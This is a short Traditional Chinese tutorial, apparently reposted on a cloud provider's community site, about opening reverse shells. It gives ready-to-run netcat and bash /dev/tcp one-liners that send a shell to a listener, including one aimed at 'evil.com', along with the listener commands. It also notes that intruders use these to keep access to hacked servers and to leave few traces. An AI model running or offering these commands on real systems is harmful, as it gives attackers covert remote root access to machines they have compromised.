利用NetCat或BASH建立反向Shell來執行遠程Root命令

來源:互聯網
上載者:User

向shell(Reverse shell)是一種往遠程機器發送shell命令的技術,當遠程機器處在防火牆等其它東西後面時,這種技術會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通shell和反向shell之間的區別分不清。在我們開始下面的內容前,先弄清楚這些概念。
反向Shell(Reverse Shell)

    反向shell的工作方式是遠端電腦將自己的shell發送給特定的使用者,而不是將shell綁定到一個連接埠上。後者在很多環境中是無法訪問的。這樣,你就可以對遠程伺服器執行root命令。

Bind Shell

    bind shell是使用者用BSAH,將shell綁定到一個本地連接埠上,這樣任何人都可以在本網中發送命令。

反向shell經常會被駭客用來做一些不法行為,例如入侵了一台伺服器後,他們會設定一個反向shell,將來他們就能通過這個shell輕鬆的訪問這台遠端電腦。我相信你是不會用它來做這種事情的。
環境要求

    遠程Unix主機
    安裝了netcat

使用NetCat實現反向shell互動

當通過shell登入到遠程主機後,下面的指令能輕鬆的將shell發送到你的機器上:

nc -c /bin/sh <你的IP> <任何一個未封鎖的連接埠>

你甚至能通過netcat來pipe BASH。

    /bin/sh | nc <你的IP> <任何未封鎖的連接埠>

然後監聽這個shell:

nc -l -p <相同的連接埠> -vvv
通過BASH實現反向shell

這種技術是當遠程機器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕迹時使用。

監聽shell:

nc -l -p <任何未封鎖的連接埠> -vvv

先建立一個新的描述符,分配到一個網路節點。這樣我們可以對這個描述符進行讀寫。

exec 5<>/dev/tcp/evil.com/<相同的連接埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done

或另外一個反向shell:

0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的連接埠>; sh <&196 >&196 2>&196

create-reverse-shell

這樣,你就可以輕鬆是通過netcat發送任何命令了。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.